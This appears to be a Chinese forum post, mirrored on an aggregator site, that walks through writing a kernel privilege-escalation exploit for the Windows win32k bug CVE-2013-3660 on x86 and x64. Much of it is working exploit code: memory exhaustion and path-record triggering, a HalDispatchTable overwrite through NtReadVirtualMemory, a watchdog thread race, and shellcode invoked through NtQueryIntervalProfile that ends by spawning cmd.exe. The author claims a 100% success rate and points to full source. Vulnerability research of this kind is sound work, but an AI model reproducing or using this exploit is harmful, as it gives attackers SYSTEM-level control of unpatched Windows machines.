11

[原创]【EXP 编写与分析系列二】Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双...

 2 years ago
source link: https://bbs.pediy.com/thread-271338.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
[原创]【EXP 编写与分析系列二】Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析
2022-1-29 08:53 3151

Microsoft Windows提权漏洞(CVE-2013-3660)x86、x64双平台分析

CVE-2013-3660是来自Google安全团队的研究人员Tavis Ormandy在对win32.sys做内存压力发现的,经过分析,发现是win32k.sys模块的一处本地提权漏洞,他本人也因此获得Pwnie Awards 2013提名。

2. 非常重要的说明

本文重点、亮点:
1、全网首发成功率100%的x64平台EXP。
针对文章要说明的几点:
1、本文不做基础知识普及,只对核心漏洞代码、利用代码进行说明;
2、阅读本文之前,先阅读x86平台的知识点:
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm
3、不管是在github,还是国内网站,都是针对x86的系统对漏洞进行利用,EXP也仅仅是针对x86,并不能扩展到x64系统上。
4、本文介绍了x64系统上的EXP编写、分析、调试;
5、在x64位操作系统上,现在并没有直接可用的代码,经过研究,本人编写的EXP,成功率达到100%(原来x86下代码成功率为40%左右,x64下没有可直接使用的代码)。
6、本文着重于指导EXP编写,尤其是x64系统下的EXP编写。

二、POC分析

1. 漏洞原因

原因主要是两点:
1、如果内存分配失败,图1中的new_PathRecord的next指针不会被初始化,从而指向的受污染数据。
2、没有对freelist空闲链表获取的内存节点进行初始化操作。见图2。
读到这里,如果还不理解污染数据是怎么污染池的,没关系,在第4节我会把调试的内存贴出来,就理解怎么污染到数据的了。

图1 new_PathRecord指针未初始化

图2 分配受污染的freelist链表

2. POC关键代码

POC代码关键点,分为三步:
1)、消耗系统内存:

for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
NumRegion++;
}
}

2)、填入垃圾数据:

PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = (PATHRECORD*)(0x41414143);
PathRecord->prev = (PATHRECORD*)(0x42424244);
PathRecord->flags = 0;
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = 0;
PointTypes[PointNum] = PT_BEZIERTO;
}

3)、触发漏洞:

for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}

图4 漏洞触发函数调用关系图

注意上图中的红色字体,那是FlattenPath函数的调用关系。

3. POC运行结果

运行上面POC关键代码之前,我们还需要确定一件事情,Points[PointNum].x 和Points[PointNum].y的在内存中实际读取的值,是不是就是x、y的值?我们先把x、y赋值成0x41414141,看看运行结果。
POC运行结果见下图,由图可见,当Points[PointNum].x 等于0x41414141的时,出现异常时,读取的数值实际为0x41414140,被左移了4位。所以,在写地址的时候,要右移4位,才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4,
要右移4位的原因。

图5 POC运行结果

4. POC数据分析

根据3节的分析可知,我们按照2节的代码运行时,堆数据的内容,如下:

图6 POC数据分析图

在上图中,ebp+8,就是PATHRECORD结构体指针,从堆数据内容可以看出,在第二次调用newpathrec出现异常时,堆里面的0xfe580104的next指针指向0x000f0000,而这就是PathRecord申请的堆地址,堆地址的内容就是x、y的数值。如果还不明显,我再放一张图:

三、EXP分析

1. EXP关键原理分析

1.1 原始版EXP原理图

原始版的EXP原理图,见下图。

图7 原始版EXP原理图
EXP关键代码是:

ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;

为什么代码这么写?见下图:

图8 Exploit利用点
在上图中,结合图7,变量a2就是ExploitRecord,它的prev是&HalDispatchTable[1],所以new_PathRecord->prev就等于&HalDispatchTable[1],再取next(next刚好偏移为0),实际就取到了HalDispatchTable[1]。
由图3、图7,再根据EXP关键代码可知,执行完第41行之后,HalDispatchTable[1]将会被写入new_PathRecord,这个地址是不可控的,但里面的next和prev将会分别是(PPATHRECORD)DispatchRedirect、(PPATHRECORD)&HalDispatchTable[1]。此时, 调用HalDispatchTable[1]函数,将会调用ExploitPathRecord的堆地址,比如是:0xf0000。此时,0xf0000地址的内容已经是ExploitRecord.next指针的内容(PPATHRECORD)DispatchRedirect,这就意味着,next指针既要是一个有效的地址,也要是一个可执行的代码。这就是为什么一些EXP要有这个函数的原因:

// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,
// 0x40,就是ebp相对于第二个参数的偏移。
// 具体调试结果见EXP调试一节。
VOID  __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr[ebp + 0x40]; //  0
__asm inc ecx
...........
}

1.1 升级版EXP原理图

当使用x64操作系统的时候,由于只有fastcall,也就是寄存器传参,所以无法再使用上述办法编写EXP,升级后的原理,如下图:

图8 升级版EXP原理图
当把图3中的new_PathRecord写入MmUserProbeAddress之后,就可以通过:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
调用,来实现把申请的堆地址写入HalDispatchTable+8,这时,调用NtQueryIntervalProfile就会调用到shellcode。之前已经把shellcode写入了堆。

2 EXP调试

在watchdog 函数里面,写 __asm {int 3},然后断下,调试过程如下图:

上面是x86下原始版代码调试过程截图,对于x64下的调试,和x86异曲同工,就没有截图进行说明了。因为从原理也可以看出,其实x64下的调试过程更简单,但是EXP编写的技巧更强,这里,我就介绍下x64平台下编写EXP的技巧,调试的话,就各位自己下来调试了。

3 x64平台EXP关键代码详解

3.1 将shellcode地址写入目标地址

CodeAddr = (PVOID)0x1000;
DWORD_PTR AllocSize = 0x1000;
DWORD_PTR ADDR = 0;
while (true)
{
DWORD ret = NtAllocateVirtualMemory((HANDLE)-1,
&CodeAddr,
0,
&AllocSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (ret != 0) {
ADDR = (DWORD_PTR)CodeAddr + 0x1000;
CodeAddr = (PVOID)ADDR;
continue;
}
else
{
break;
}
}
NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \
NtReadVirtualMemoryBuffer, CodeAddr);
printf("ShellCode_END = %p\n", ShellCode_END);
printf("ShellCode = %p\n", ShellCode);
printf("%x\n", (PBYTE)ShellCode_END - (PBYTE)ShellCode);
memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END - (PBYTE)ShellCode);

通过while循环,找到一个最低的堆地址,然后把这个地址作为长度,分配相应大小的空间。因为
把shellcode函数地址写入HalDispatchTable的代码是:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
前面已经分析过,现在我们结合代码,再来看看。

NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
这里,
假如分配地址是0x1F0000,那么分配的内存大小就是0x1F0000,因为NtReadVirtualMemory,的最后一个参数是读入的实际大小,这儿需要定义成地址大小,那么就把CodeAddr这个地址,作为长度写入了HalDispatchtable+8。
NtReadVirtualMemory->长度写入HalDispatchtable+8->NtQueryIntervalProfile->调用写入的长度(地址)。

3.2 通过watchdog实现Exploit

第一部分:通过while循环写入垃圾数据:

while (TRUE)
{
Device = GetDC(NULL);
Mutex = CreateMutex(NULL, FALSE, NULL);
WaitForSingleObject(Mutex, INFINITE);
printf("Mutex = %x\n", Mutex);
Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WatchdogThread, NULL, 0, NULL);
if ( Thread ==NULL)
{
printf("Create Thread Failed!\n");
continue;
}
printf("start CreateRoundRectRgn\n");
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
NumRegion++;
}
}
printf("Allocated %u/%u HRGN objects\n", NumRegion, MaxRegions);
printf("Flattening curves...\n");
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
if (PathRecord->next!=PathRecord)
{
DWORD_PTR ret = FALSE;
SIZE_T Count = 0;
//CodeAddr写入HalDispatchTable,写入HaliQuerySystemInformation
printf("CodeAddr = %x\n", (SIZE_T)CodeAddr);
printf("NtReadVirtualMemoryBuffer = %p\n", NtReadVirtualMemoryBuffer);
printf("HalDispatchTable = %p\n", HalDispatchTable);
ret  = NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable);
printf("ret = %x\n", ret);
if ( ret == NULL)
{   
//在下面的调用shellcode那里打断点
ULONG ret = 0;
NtQueryIntervalProfile((ULONG)pShellCodeInfo, &ret);
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
return;
}
}
EndPath(Device);
}
while (NumRegion) {
DeleteObject(Regions[--NumRegion]);
}
printf("cleaning up...\n");
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);
ReleaseDC(NULL, Device);
printf("ReStarting!\n");
}
}

第二部分:通过看门狗把PathRecord->next替换成ExploitPathRecord

DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
printf("Enter WatchdogThread!\n");
if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT)
{
printf("InterlockedExchangePointer\n");
while (NumRegion)
{
DeleteObject(Regions[--NumRegion]);
}
InterlockedExchangePointer((volatile PVOID*)&PathRecord->next, &ExploitRecord);
}
else
{
printf("Mutex object did not timeout, list not patched\n");
}
printf("Leave WatchdogThread!\n");
return 0;
}

4 x64平台EXP编写注意事项

1、写shellcode函数的时候,不能通过全局参数传入函数地址去调用函数。因为汇编下的函数调用,跳转是相对下一条指令地址的跳转,通过memcpy拷贝shellcode函数到堆里面之后,这个偏移就是错误的。所以,只能通过形参把参数传进来,这样传递进来的地址,汇编之后,就会看到,函数的调用,是用类似call[rbx+0x20]这样的调用来实现的,而不是相对偏移实现。
2、修改了MmUserProbeAddress之后,如果没有及时恢复,还继续调试,系统会随时崩溃,这个时候最好是确保后续代码正确性,减少调试时间
3、shellcode函数实际上是仿冒的HaliQuerySystemInformation函数,所以NtQueryIntervalProfile->KeQueryIntervalProfile->HaliQuerySystemInformation
实际是假冒的HaliQuerySystemInformation。NtQueryIntervalProfile第一个参数,就是HaliQuerySystemInformation的第三个参数Buffer取值。
4、现在流行的EXP没有在最后利用、消耗内存的时候加入while循环,导致成功率不足40%,而且没有直接可用的x64平台代码。我在利用、消耗的地方加入了while循环,成功率提升到100%。当然,这看似很简单的操作,需要你去实际调试、总结,才可能想得出办法。
5、NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8)中,CodeAddr在函数之外是堆地址,在作为函数形参的时候是长度。之所以没有直接将shellcode地址作为NtReadVirtualMemory的参数,是因为x64平台的地址太大了,分配不了如此大的空间。实际在EXP编写代码时候,要从最小地址搜索,通过while循环,慢慢增加,搜索到一个最小的可分配的堆地址,然后分配和地址相同大小的空间之后,作为NtReadVirtualMemory第四个参数,就可以把堆地址写入目标地址了。

四、提权复现

你下载跟我相同版本的系统,成功率会是100%。

五、源代码下载

源代码已经上传github,下载地址为:
CVE-2013-3660 x64平台源代码

【公告】欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

最后于 2022-1-29 10:16 被ExploitCN编辑 ,原因:

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK